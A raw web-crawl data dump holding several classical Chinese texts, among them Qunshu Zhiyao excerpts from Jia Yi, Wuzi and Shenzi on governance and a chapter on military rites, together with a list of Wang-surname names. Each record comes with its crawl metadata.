穰","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/srj.global-g8.net\/gengo\/details.html","date":"2019-04-25T00:29:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578675477.84\/warc\/CC-MAIN-20190424234327-20190425020327-00342.warc.gz","language":"lzh","language_score":0.4379271567,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43792715668678284, \"cmn_Hani_score\": 0.42064985632896423, \"jpn_Jpan_score\": 0.10124585032463074, \"yue_Hani_score\": 0.0351383350789547}","num_words":3080,"character_repetition_ratio":0.017,"word_repetition_ratio":0.003,"special_characters_ratio":0.463,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.434,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"賈 子\n群書治要卷四十\n梁嘗有疑獄。臣半以爲當罪。半以爲無罪。梁王曰。陶之朱叟。以布衣而富侔國。是必有奇智。乃召朱公而問之。朱公曰。臣鄙民也。不知當獄。雖然。臣之家有二白璧。其色相如也。其徑相如也。其澤相如也。然其價一者千金。一者五百金。王曰。徑與色澤皆相如也。一者千金。一者五百金何也。朱公曰。側而視之。其一者厚倍之。是以千金。梁王曰。善。故獄疑則從去。賞疑則從與。梁國大悦。墻薄亟壞。繒薄亟裂。器薄亟毁。酒薄亟酸。夫薄而可以曠日持久者。殆未有也。故有國畜民施政教者。臣竊以爲厚之而可耳。\n楚惠王食寒葅而得蛭。因遂吞之。腹有疾而不能食。令尹入問曰。王安得此疾也。王曰。我食寒葅而得蛭。念譴之而不行其罪。是法廢而威不立也。譴而行其誅。則脆嘗(脆嘗本書作庖宰)監食者法皆當死。心又不忍也。故吾恐蛭之見也。因遂吞之。令尹避席再拜而賀曰。臣聞天道無親。唯德是輔。王有仁德。天之所奉也。病不爲傷。是昔也。惠王之後而蛭出。心腹之積皆愈。\n鄒穆公食不衆味。衣不雜采。自刻以廣民。親賢以定國。親民猶子。臣下順從。若手之投心也。故以鄒之細。魯。衛不敢輕。齊。楚不能脅。穆公死。鄒之百姓。若失慈父。四境之鄰於鄒者。士民向方而道哭。琴瑟無音。期年而後始復。故愛出者愛反。福往者福來。\n宋康王之時。有雀生鸇於城之陬。使史占之。曰。小而生大。必霸天下。康王大喜。於是滅滕。伐諸侯。取淮北之地。乃愈自信。欲霸之亟成。射天笞地。斬社稷而焚之。罵國老之諫者。爲無頭之冠。以示有勇。國人大駭。齊王聞而伐之。民散。城不守。王乃逃而死。故見祥而爲不可。祥必爲禍。\n懷王問於賈君曰。人之謂知道者爲先生。何也。對曰。此博號也。大者在人主。中者在卿大夫。下者在布衣之士。乃其正名。非爲先生也。爲先醒也。彼世主未學道理。則嘿然惛於得失。不知治亂存亡之所以然。忙忙猶醉也。而賢主者學問不倦。好道不厭。慧然先達於道理矣。故未治也。知所以治。未亂也。知所以亂。未安也。知所以安。未危也。知所以危。故昭然先寤乎所以存亡矣。故曰先醒。譬猶俱醉而獨先發也。故世主有先醒者。有後醒者。有不醒者。昔楚莊王與晋人戰。大克。歸過申侯之邑。申侯進飯。日中而王不食。申侯請罪。王喟然嘆曰。非子之罪也。吾聞之曰。其君賢君也。而又有師者王。其君中君也。而有師者霸。其君下君也。而群臣又莫若者亡。今我下君也。而群臣又莫若也。吾聞之。世不絶賢。天下有賢。而我獨不得。若吾生者。何以食爲。故莊王戰服大國。義從諸侯。思得賢佐。日中忘飯。可謂明君矣。此之謂先寤所以存亡。此先醒者也。昔宋昭公出亡至乎境。喟然嘆曰。嗚呼。吾知所以亡失矣。被服而立。侍御者數百人。無不曰吾君聖者。内外不聞吾過。吾是以至此。吾困宜矣。於是革心易行。晝學道而昔講之。二年而美聞。宋人迎而復之。卒爲賢君。謚爲昭公。既亡矣。而乃寤所以存亡。此後醒者也。昔者虢君驕恣自伐。諂諛親貴。諫臣誅逐。政治踳亂。國人不服。晋師伐之。虢君出走。至於澤中曰。吾渴而欲飲。其御乃進清酒。曰。吾飢而欲食。御進腶脯粱糗。虢君喜曰。何給也。御曰。儲之久矣。曰。何故儲之。對曰。爲君出亡而道飢渴也。君曰。子知寡人之亡也。對曰。知之。曰。知之何不以(不以作以不)諫。對曰。君好諂諛而惡至言。臣願諫。恐先亡。虢君作色而怒。御謝曰。臣之言過也。君曰。吾所以亡者。誠何也。其御曰。君不知也。君之所(上所下有以字)亡者。以大賢也。虢君曰。賢。人之所以存也。乃亡何也。對曰。天下之君皆不肖。疾君之獨賢也。故亡。虢君喜笑曰。嗟。賢故若是苦耶。遂徒行而逃於山中。飢倦。枕御膝而臥。御以塊自代而去。君遂餓死。爲禽獸食。此已亡矣。猶不寤所以存亡。此不醒者也。\n梁大夫有宋就者。爲邊縣令。與楚鄰界。梁之邊亭。與楚之邊亭皆種瓜。梁之邊亭。劬力而數灌其瓜。瓜美。楚人窳而希灌其瓜。瓜惡。楚令怒其亭瓜之惡也。楚亭惡梁亭之賢己。因往夜竊搔梁亭之瓜。皆有華(華作死)焦者矣。宋就令人往竊爲楚亭。夜善灌其瓜。其瓜日以美。楚亭怪而察之。則乃梁亭(亭下有之梁爲二字)也。楚王聞之。悦梁之陰讓也。乃謝以重幣。而請交於梁王。故梁楚之歡。由宋就始。語曰。轉敗而爲功。因禍而爲福。老子曰。報怨以德。此之謂也。\n翟王使者之楚。王欲夸之。故饗客於章華之臺。上者三休乃至其上。楚王曰。翟國亦有此臺乎。使者對曰。不。翟窶國也。惡見此臺。翟王之自爲室也。堂高三尺。萯葺(萯葺作茆茨)弗剪。采椽不刮。然且翟王猶以爲作之者大苦。居之者大逸。翟國惡見此臺也。楚王媿焉。\n王者官人有六等。一曰師。二曰友。三曰大臣。四曰左右。五曰侍御。六曰廝役。智足以爲原泉。行足以爲表儀。問焉則應。求焉則得。入人之家。足以重人之家。入人之國。足以重人之國者。謂之師。智足以爲礱厲。行足以爲輔助。明於進賢。敢於退不肖。内相匡正。外相揚美。謂之友。智足以謀國事。行足以爲民率。仁足以合上下之歡。國有法則退而守之。君有難則能死之。職之所守。君不以阿私托者。大臣也。修身正行。不怍於鄕曲。道路談説。不怍於朝廷。執戟居前。能舉君之失過。不難以死持之者。左右也。不貪於財。不淫於色。事君不敢有二心。君有失過。雖不能正諫。以死持之。愁悴有憂色。不勸聽從者。侍御也。柔色傴僂。唯諛之行。唯言之聽。以睚眦之間事君者。廝役也。故與師爲國者帝。與友爲國者王。與大臣爲國者霸。與左右爲國者强。與侍御爲國者。若存若亡。與廝役爲國者。亡可立而待。\n聞之。於政民無不爲本也(政下有也字)。國以爲本。君以爲本。吏以爲本。故國以民爲安危。君以民爲威侮。吏以民爲貴賤。此之謂民無不爲本也。民無不爲命也。國以爲命。君以爲命。吏以爲命。故國以民爲存亡。君以民爲盲明。吏以民爲賢不肖。此之謂民無不爲命也。民無不爲功也。故國以爲功。君以爲功。吏以爲功。故國以民爲興壞。君以民爲强弱。吏以民爲能否。此之謂民無不爲功也。故夫民者。至賤而不可簡也。至愚而不可欺也。故自古而至於今。與民爲仇者。有遲有速。而民必勝之矣。道也者。福之本也。祥也者。福之榮也。無道者。必禍之本(必禍之本作必失福之本)。不祥者。必失福之榮矣。故行而不緣道者。其言也必不顧義矣。故紂自謂天王也。而桀自謂天子也。已滅之後。民以罵也。以此觀之。則位不足以爲尊。而號不足以爲榮矣。故君子之貴也。士民貴之。故謂之貴。故君子之富也。士民樂之。故謂之富。故君子之貴也。與民以福。故士民貴之。故君子之富也。與民以財。故士民樂之。\n君能爲善。則吏必能爲善矣。吏能爲善。則民必能爲善矣。故民之不善。吏之罪也。吏之不善。君之過也。嗚呼。戒之戒之。故夫士民者。率之以道。然後士民道也。率之以義。然後士民義也。率之以忠。然後士民忠也。率之以信。然後士民信也。故爲人君者出其令也。其如聲。士民學之。其如響。曲折而從君。其如影。\n渚澤有枯水。而國無枯士矣。故有不能求士之君。而無不可得之士。故有不能治民之吏。而無不可治之人。故君明而吏賢矣。吏賢而民治矣。故見其民而知其君矣。故君功見於選士。吏功見於治民。王者有易政而無易國。有易吏而無易民。故因是國也而爲安。因是民也而爲治。是以湯以桀之亂民爲治。武王以紂之北卒爲强。\n周武王問鬻子曰。寡人願守而必存。攻而必得。戰而必勝。則吾爲此奈何。鬻子對曰。攻守戰勝同道。而和與嚴其備也。故曰。和可以守。而嚴可以守。嚴不若和之固也。和可以攻而嚴可以攻。嚴不若和之得也。和可以戰而嚴可以戰。嚴不若和之勝也。則唯由和而可也。故諸侯發政施令。政平於人者。謂之文政矣。諸侯接士。而使吏禮恭於人者。謂之文禮矣。諸侯聽獄斷治。刑仁於人者。謂之文誅矣。故三文行於政。立於治。陳於行。其由此守而不存。攻而不得。戰而不勝者。自古而至於今。未之嘗聞也。今也君王欲守而必存。攻而必得。戰而必勝。則唯由此爲可也。武王曰。受命矣。\n周成王曰。寡人聞之。聖在上位。使民富且壽云。若夫富則可爲也。壽則不在天乎。鬻子對曰。聖人在上位。則天下無軍兵之事。民不私相殺。則民免於一死。而得一生矣。君積於道。而吏積於德。而民積於用力。故婦人爲其所衣。丈夫爲其所食。則民無凍餓。則民免於二死。而得二生矣。君積於仁而吏積於愛。而民積於財(財作順)。刑罰廢矣。而民無夭竭(夭竭作大過)之誅。則民免於三死。而得三生矣。使民有時。而用之有節。則民無厲疾。則民免於四死。而得四生矣。興賢良以禁邪惡。賢人必用。不肖人不作。則民得其命矣。故夫富且壽者。聖王之功也。王曰。受命矣。\n殷湯放桀。武王殺紂。此天下之所同聞也。爲人臣而放其君。爲人下而殺其上。天下之至逆也。而所以長有天下者。以其爲天下開利除害。以義繼之也。故聲名稱於天下。而傳於後世。以其後世之(無以其後世之五字)隱其惡。而揚其德美。立其功烈。而傳於久遠。故天下皆稱聖帝至治。其道之也當矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022065.html","date":"2017-04-24T03:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00184-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5491344929,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5491344928741455, \"cmn_Hani_score\": 0.19021593034267426, \"nan_Hani_score\": 0.0720873549580574, \"jpn_Jpan_score\": 0.02980375476181507, \"wuu_Hani_score\": 0.022324493154883385, \"zxx_Latn_score\": 0.01994815282523632}","num_words":17,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.549,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"吴 子\n群書治要卷三十六\n圖 國\n吴子曰。古之圖國家者。必先教百姓而親萬民。民(本書無民字)有三(三作四)不和。不和於國。不可以出軍。不和於軍。不可以出陣。不和於陣。不可以進戰。(進戰下有不和于戰。不可以决勝二句)\n凡兵所起者五。一曰争名。二曰争利。三曰積惡。四曰内亂。五曰困飢。其名又五。一曰義兵。二曰强兵。三曰剛兵。四曰暴兵。五曰逆兵。禁暴救亂曰義。恃衆以伐曰强。因怒興師曰剛。弃禮貪利曰暴。國危民疲。舉事動衆曰逆。五者之數。(數作服)各有其道。義必以禮服。强必以謙服。剛必以辭服。暴必以詐服。逆必以權服。此其勢也。\n論 將\n夫總文武者。軍之將也。兼剛柔者。兵之事也。凡人之論將。恒觀之於勇。勇之於將。乃數分之一耳。夫勇者輕命而不知利。未可也。故將之所慎者五。一曰理。二曰備。三曰果。四曰戒。五曰約。理者治衆如治寡。備者出門如見敵。果者迎敵不懷生。戒者雖克如始戰。約者法令省而不煩。受命而不辭家。敵破而後(不辭至而後。舊作辭不。補之)言反。將之禮也。故師出之日。有死而榮。無生而辱也。\n凡制國治軍。必設之以禮。厲之以義。在大足以戰。在小足以守矣。然戰勝易。守勝難。是故以勝得天下者稀。以亡者衆。\n武侯曰。願聞陣必定。戰必勝。守必固之道。對曰。君使賢者居上。不肖處下。則陣已定矣。民安其田宅。親其有司。則守已固矣。百姓皆是吾君(吾君二字作君一字)而非鄰國。則戰已勝矣。\n治 兵\n武侯問曰。兵以何爲勝。吴子曰。兵以治爲勝。又問不在衆乎。對曰。若法令不明。賞罰不信。金之不止。鼓之不進。雖有百萬之師。何益於用。所謂治者居則有禮。動則有威。進不可當。退不可追。前却如節。左右應麾。投之所往。天下莫當。名曰父子之兵也。\n勵 士\n武侯曰。嚴刑明賞。足以勝敵乎。吴子曰。嚴明之事。非所恃也。發號布令。而民樂聞。興師動衆。而民樂戰。交兵接刃。而民安死。此三者。人之所恃也。武侯曰。致之奈何。對曰。君舉有功而進之飨。無功而厲之。于是武侯設坐廟庭。爲三行飨士大夫。上功坐前行。肴席有重器上牢。次功坐中行。肴席器差减 。無功坐後行。肴席無重。饗畢而出。乃又班賜有功者之父母妻子於廟門之外。亦以功爲差數。唯無功者不得耳。死事之家。歲使使者勞賜其父母。行之五(五作三)年。秦人興師臨於西河。魏士聞之。介胄不待吏令奮擊之者以萬數。吴子曰。臣聞之。人有短長。氣有盛衰。君試發無功者五萬人。臣請率以當之。其可乎。今使一死賊枭伏於曠野。千人追之。莫不視狼顧。何者。恐其暴起而害己也。是則(則作以)一人投命。足懼千夫。今臣以五萬之衆。而爲一(舊無一字。補之)死賊以率討之。固難當矣。武侯從之。兼車五百乘。騎三千匹。而以破秦五十萬衆。此勵士之功也。\n魏武侯嘗謀事。群臣莫能及。罷朝而有喜色。吴起進曰。昔楚莊王謀事。群臣莫能及。罷朝而有憂色。曰。寡人聞之。世不絶聖。國不乏賢。能得其師者王。能得其友者霸。今寡人不才。而群臣莫之過。國其殆矣。莊王所憂。而君悦之。臣竊懼矣。於是武侯乃慚。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022056.html","date":"2017-04-24T03:35:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00038-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5268663168,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5268663167953491, \"cmn_Hani_score\": 0.2971653640270233, \"nan_Hani_score\": 0.06868074834346771, \"jpn_Jpan_score\": 0.02992885746061802, \"wuu_Hani_score\": 0.01606547087430954, \"yue_Hani_score\": 0.014898726716637611}","num_words":19,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.527,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"慎 子\n群书治要卷三十七\n威 德\n天有明。不忧人之暗也。地有财。不忧人之贫也。圣人有德。而不忧人之危也。天虽不忧人之暗也。辟户牖必取己明焉。则天无事也。地虽不忧人之贫也。伐木刈草。必取己富焉。则地无事矣。圣人虽不忧人之危也。百姓准上。而比于其下。必取己安焉。则圣人无事矣。故圣人处上。能无害人。不能使人无己害也。则百姓除其害矣。圣人之有天下也。受之也。非取之也。有光明之德。故百姓推而与之耳。岂其心哉。百姓之于圣人也。养之也。非使圣人养己也。则圣人无事矣。\n毛嫱。西施。天下之至姣也。衣之以皮倛。则见之者皆走。荀卿曰。仲尼之状。面若蒙倛。易之以玄緆。则行者皆止。緆谓细布。由是观之。则玄緆。色之助也。姣者辞之。则色厌矣。走背跋踚穷谷。野走千里。药也。走背辞药则足废。理有相须。而作事有待具而成。故虽资倾城之观。必俟衣裳之饰。虽挺越常之足。必假药物而疾。故有才无势。将颠坠于沟壑。有势无才。亦腾乎风云。万动云云。咸皆然耳。\n故腾蛇游雾。飞龙乘云。云罢雾霁。与蚯蚓同。则失其所乘也。故贤而屈于不肖者。权轻也。不肖而服于贤者。位尊也。尧为匹夫。不能使其邻家。至南面而王。则令行禁止。由此观之。贤不足以服不肖。而势位足以服不肖。而势位足以屈贤矣。故无名而断者。权重也。弩弱而矰高者。乘于风也。身不肖而令行者。得助于众也。故举重越高者。不慢于药。爱赤子者。不漫于保。绝险历远者。不慢于御。此得助则成。释助则废矣。夫三王五伯之德。参于天地。通于鬼神。周于生物者。其得助博也。\n古者。工不兼事。士不兼官。工不兼事则事省。事省则易胜。士不兼官则职寡。职寡则易守。故士位可世。工事可常。古之宰物。皆用其一能以成其一事。是以用无弃人。使无弃才。若乃任使于过分之中。役物于异便之地。则上下颠倒。事能淆乱矣。百工之子。不学而能者。非生巧也。言有其常事也。今也国无常道。官无常法。是以国家日缪。教虽成。官不足。官不足则道理匮。道理匮则慕贤智。慕贤智则国家之政要在一人之心矣。人之情也。莫不自贤。则不相推。政要在一人。从一人之所欲。不必善。则政教陵迟矣。\n古者立天子而贵之者。非以利一人也。曰。天下无一贵。理无由通。通理以为天下也。故立天子以为天下也。非立天下以为天子也。立国君以为国也。非立国以为君也。立官长以为官也。非立官以为长也。法虽不善。犹愈于无法。所以一人心也。。夫投钩分财。投策分马。非钩策为均也。使得美者不知所以赐。得恶者不知所以怨。此所以塞怨望使不上也。明君动事必由惠。定罪分财必由法。行德制中必由礼。法者。所以爱民。礼者。所以便事。故欲不得干时。必于农隙也。爱不得犯法。当官而行。贵不得逾规。禄不得逾位。惠不得兼官。工不得兼事。以能受事。以事受利。若是者、上无羡赏。民无羡财。羡。犹溢也。\n因 循\n天道因则大。因百姓之情。遂自然之性。则其功至高。其道至大也。化则细。化使从我。物所乐。其理祸(祸恐犹误)狭。其德细小也。因也者、因人之情也。人莫不自为也。化而使之为我。则莫可得而用矣。违性矫情。引彼就我。则忿戾乖违。莫有从之者矣。是故先王不受禄者不臣。禄不厚者。不与入难。人不得其所以自为也。则上不取用焉。夫君上取用。必须天机之动。性分之通。然后上下交泰。经世可久耳。故放使自为。则无不得。仕而使之。则无不失矣。故用人之自为。不用人之为我。则莫不可得而用矣。此之谓因。\n民 杂\n民杂处而各有所能。所能者不同。此民之情也。故圣人不求备于一人也。大君者。大上也。兼畜下者也。下之所能不同。而皆上之用也。是以大君因民之能为资。尽苞而畜之。无能去取焉。夫人君之御世也。皆曲尽百姓之能。兼罗万物之分。因其长短。就而用之。使能文者为文。能武者为武。聋者使其听。盲者使其视。(聋者使其听。盲者使其视。当作聋者使其视。盲者使其听)故理有尽用。物无弃财。是故不设一方以求于人。故所求者无不足也。大君不择其下、故足也。不择其下。则易为下矣。易为下。则下莫不容。莫不容、故多下。多下之谓大上。其下既多。故在上者大。\n君臣之道。臣事事。言事其所事。而君无事。百官之属。各有所司。君逸乐而臣任劳。臣尽智力以善其事。而君无与焉。仰成而已。故事无不治。人君自任。而务为善以先下。则是代下负任蒙劳也。臣反逸矣。故曰。君人者好为善以先下。则不敢与君争为善以先君矣。君好见其善。则群下皆淫善于君矣。上以一方之善。而施于众方之中。求其为瞻。偏已多矣。君偏既多。而臣韬其善。则天下乱矣。皆私其所知以自覆掩有过。则臣反责君。逆乱之道。夫所以置三公而列百官者。将使群臣各进所知以康庶绩耳。若乃君显其善而臣藏其能。百事从君而出。众端自上而下。则臣善不用。而归恶有在矣。\n君之智、未必最贤于众也。以未最贤而欲以善尽被下。则不赡矣。假使其贤。犹不可推一己之智以察群下。而况不最贤。若使君之智最贤。以一君而尽赡下则劳。劳则有倦。倦则衰。衰则复反于不赡之道也。是以君自任而躬事。则臣不事事矣。言君之专荷其事。则臣下不复以事为事矣。是君臣易位也。谓之倒逆。倒逆则乱矣。人君任臣而勿自躬。则臣事事矣。是君臣之顺。治乱之分。不可不察。所谓任人者逸。自任者劳也。\n知 忠\n乱世之中。亡国之臣。非独无忠臣也。治国之中。显君之臣。非独能尽忠也。治国之人。忠不偏于其君。乱世之人。道不偏于其臣。然而治乱之世。同世(世疑衍)有忠道之人。臣之欲忠者不绝世。而君未得宁其上。夫灭亡之国。皆有忠臣耳。然贤君千载一会。忠臣世世有之。值其一隆之时。则相与而交兴矣。遇其昏乱之主。则相与而具已矣。无遇比干、子胥之忠。而毁瘁主君于暗墨之中。遂染溺灭名而死。由是观之。忠未足以救乱世。而适足以重非。何以识其然也。曰。父有良子而舜放瞽叟。桀有忠臣。而过盈天下。然则孝子不生慈父之义。六亲不和有孝慈也。而忠臣不生圣君之下。国家昏乱有贞臣也。故明主之使其臣也。忠不得过职。而职不得过官。\n是以过修于身。而下不敢以善骄矜。守职之吏。人务其治。而莫敢淫偷其事。官正以敬。其业和。吏人务其治。而莫敢淫偷其事。官正以顺。以事其上。如此、则至治已。此五帝三王之业也。亡国之君。非一人之罪也。恶不众则不足以亡其国也。治国之君。非一人之力也。善不多则不足以兴治也。将治乱在乎贤使任职。而不在于忠也。故智盈天下。泽及其君。忠盈天下。害及其国。故桀之所以亡。尧不能以为存。然而尧有不胜之善。言其善道不可胜言也。而桀有运非之名。天下之恶皆归之也。则得人与失人也。故廊庙之材。盖非一木之枝也。狐白之裘。盖非一狐之皮也。治乱安危。存亡荣辱之施。非一人之力也。\n德 立\n立天子者。不使诸侯疑焉。立诸侯者。不使大夫疑焉。立正妻者。不使嬖妾疑焉。立嫡子者。不使庶孽疑焉。疑则动。两则争。杂则相伤。害在有与、不在独也。故臣有两位者国必乱。臣两位而国不乱者。君犹在也。恃君而不乱。失君必乱。子有两位者。家必乱。子有两位。而家不乱者。亲犹在也。恃亲而不乱。失亲必乱。臣疑其君。无不危之国。孽疑其宗。无不危之家。\n君 人\n君人者。舍法而以身治。则诛赏夺与从君心出矣。然则受赏者虽当。望多无穷。受罚者虽当。望轻无已。民之所信者。法也。今在赏者欲多。在罚者欲少。无法以限之。则不知所论矣。虽极聪明以穷轻重。尽心以班夺与。夫何解于怨望哉。君舍法而以心裁轻重。则是同功而殊罚也。怨之所由生也。是以分马者之用策。分田者之用钩也。非以钩策为过人智也。所以去私塞怨也。故曰。大君任法而弗躬为。则事断于法矣。法之所加。各以其分蒙其赏罚。而无望于君也。是以怨不生而上下和矣。\n君 臣\n为人君者不多听。物有本。事有原。据法倚数。以观得失。无法之言。不听于耳。无法之劳。不图于功。无劳之亲。不任于官。官不私亲。法不遗爱。上下无事。唯法所在。法令者。生民之命。至治之令。天下之程式。万事之仪表。智者不得过。愚者不得不及焉。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E6%85%8E%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-01-20T16:12:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703521139.30\/warc\/CC-MAIN-20210120151257-20210120181257-00361.warc.gz","language":"lzh","language_score":0.4013668001,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.40136680006980896, \"cmn_Hani_score\": 0.31213510036468506, \"nan_Hani_score\": 0.07881860435009003, \"jpn_Jpan_score\": 0.04206002503633499, \"wuu_Hani_score\": 0.02416892722249031, \"und_Tang_score\": 0.014586125500500202, \"zxx_Latn_score\": 0.012662413530051708}","num_words":31,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.401,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"不仅在中国有王氏一族,在朝鲜。韩国也分布着王姓。王姓人口在全国排在前三位。在广东,\"王\"与\"黄\"在粤语基本相同,所以后来分为两姓,王姓一般被称为\"三划王\"或\"三横王\"。河北、辽宁、山西、山东、江苏等省,王姓均为第一大姓。\n历史上著名的\"战国四君子\"之一的信陵君,即魏昭王之子无忌,其孙在秦国灭魏国后逃至山东泰山,后来刘邦称帝,建立汉朝,召信陵君的后代入朝作宫,封为兰陵侯,当时人们以他出身王族,谓之王家,延以为姓。以上种种,都是出自周朝姬姓的王氏\n王氏家族历史悠久,王氏好名字也比比皆是,不乏有一些历史名人和当代名流。\n下面就是一些王氏的姓名大全。\n王衍菲 王渤臣 王辰淼 王康力 王熠涵 王悦竹 王大勇 王鹏哲 王茵涵 王垭臣 王俊 王英涵 王学坤 王竖勇 王迦毅 王 竺 王悦蓉 王端锐 王 铖 王 茜 王舜臣 王 芬 王健新 王玉涵 王 龙 王菀涵 王延菲 王鼎鸿 王萧媛 王昱涵 王烽正 王文翀 王子睿 王书明 王新珏 王 艳 王臣珂 王仲元 王宵臣 王 骥 王浩淼 王祠宇 王建刚 王聚国 王钓栩 王智超 王文真 王 燕 王寂利 王旭诗 王 炳 王 雁 王海艳 王东辉 王文泽 王钧笞 王淑玲 王笑风 王慧琴 王 金 王 红 王羽中 王金茂 王林超 王慧灵 王嘉宁 王慰源 王译乐 王彦杰 王 军 王立群 王海崖 王翠萍 王慧芸 王绍强 王安娜 王玉环 王 慧 王译乐 王炳睿 王慧雪 王爱淳 王泽诗 王利佐 王中媛 王 冠 王超群 王紫芸 王思涵 王 飘 王紫茹 王思函 王善芬 王 娟 王晓琴 王子鹤 王茹芸 王 睿 王一晗 王 鹏 王昱臻 王昱晗 王 缙 王 子 王韵含 王韬涵 王裕含 王应博 王稀玥 王福宝 王文富 王子宁 王钧壮 王 平 王开棣 王宗泽 王爱琳 王 垒 王玺玥 王一冰 王问釜 王 轩 王涵玥 王泽亚 王若鸿 王钦彬 王泽夫 王茜玥 王明华 王慧文 王梓搏 王爱华 王 太 王泽若 王 睿 王艳珺 王泽立 王 子 王逸凡 王棕泽 王大佑 王泽禾 王 干 王姿苹 王嘉宁 王 坦 王昕玥 王巧霞 王靓颖 王欣玥 王 于 王鹏鸣 王 工 王露颖 王泽人 王忻玥 王子维 王 水 王淑文 王 鹏 王广业 王紫蔺 王泽华 王 永 王菁妍 王琳琳 王豫一 王 玥 王 博 王 上 王泽书 王 火 王蕾苹 王爱琳 王泽言 王梦云 王 荻 王泽正 王博宇 王 分 王荟苹 王泽上 王洪海 王 妍 王超平 王 天 王泽来 王 冰 王楚涵 王昔玥 王浩川 王晗蕴 王汐玥 王榕泽 王 珂 王秀情 王希玥 王可馨 王静灵 王 璇 王新刚 王 丽 王泽唐 王婧灵 王启淑 王泽汉 王泽秋 王 锋 王振兴 王冠军 王心潭 王 珂 王翰霖 王惹萍王婕臣 王春芳 王博文 王臣颖 王一冰 王裕涵 王晟淏 王馨韵 王 棚 王 梅 王衍菲 王馨悦 王艳芳 王沛臣 王 萍 王昌辉 王元淳 王聚国 王树江 王文钊 王嘉宁 王爱芬 王新珏 王媛淳 王锦臣 王宁轩 王志强 王泽铭 王媛爱 王靓臣 王冠军 王媛辰 王彦臣 王 鹏 王欣珏 王 彪 王 淞 王芸爱 王 茂 王新觉 王茂淞 王端锐 王韵辰 王翎骅 王 艳 王韵涵 王彦楠 王 坦 王鹏盛 王新钰 王 棚 王翰翔 王欣钰 王小明 王 梅 王默臣 王新珏 王竞尧 王蓦臣 王翎铸 王新觉 王子涵 王盼磊 王潇臣 王新决 王臣潇 王超群 王 霄 王禹潼 王诗韵 王新觉 王连芬 王雪莲 王薇臣 王思淳 王祥蕴 王启淑 王中元 王昱涵\n上一篇:难以发财的姓名笔画数\n下一篇:张氏姓名大全","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.gyxjz.com\/quming\/qumingbaodian\/2476.html","date":"2019-11-15T18:42:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668699.77\/warc\/CC-MAIN-20191115171915-20191115195915-00266.warc.gz","language":"lzh","language_score":0.9896788001,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9896788001060486}","num_words":357,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.282,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"問 軍 禮 第 十 八\n陳王問太師曰、行軍之禮。可得備聞乎。荅曰天子有道。禮樂征伐自天子出。自天子出。必以歲之孟秋。賞軍師武人於朝。簡練傑俊。任用有功。命將選士以誅不義。於是孟冬以級授軍。司徒執扑北面而誓之。誓於社以習其事。先期五日。太史筮於祖廟。擇吉日齋戒。告於郊社稷宗廟。既筮。則獻兆於天子。天子使有司以牲特告社。告以所征之事而受命焉。舍奠於帝學以受成。然後乃類於上帝柴於郊以出。以齋車遷廟之主及社主。行大司馬職奉之。無遷廟主。則以幣帛皮圭告於祖禰。謂之主命。亦載齋車。比行主皮圭幣帛皆每舍奠焉。而後就館。主車止於中門之外。外門之內。廟主居於道左。社主居於道右其所經名山大川皆祭告焉。及至敵所。將戰。太史卜戰日。卜右御。先期三日。有司明以敵人罪狀告之史。史定誓命戰日。將帥陳列車甲卒伍於軍門之前。有司讀誥誓使周定三令五申既畢遂禱\\戰祈克於上帝然後即敵。將士戰全。巳克敵。史擇吉日復禡於所征之地柴於上帝。祭社奠祖以告克者。不頓兵傷士也。戰不克則不告也。凡類禡皆用甲丙戊庚壬之剛日有司簡功行賞。不稽於時。其用命者則加爵受賜於祖奠之前。其奔北犯令者則加刑罰戮於社主之前然後鳴金振旅。有司遍告捷於時所有事之山川。既至。舍於國外三日齋。以特牛親格於祖禰然後入。設奠以反主。若主命則卒奠歛主埋之於廟兩階間。反社主如初迎之禮。舍奠於帝學。以訊馘告。大季於群吏。用備樂饗。有功於祖廟。舍爵策勳焉。謂之飲至。天子親征之禮也。陳王曰其命將出征則如之何。太師曰古者大將受命而出則忘其國。即戎師陣則忘其家。故天子命將出征。親潔齋盛服設奠於祖以詔之。大將先入。軍吏畢從皆北面再拜稽首而受。天子當階南面命授之節鉞。大將受。天子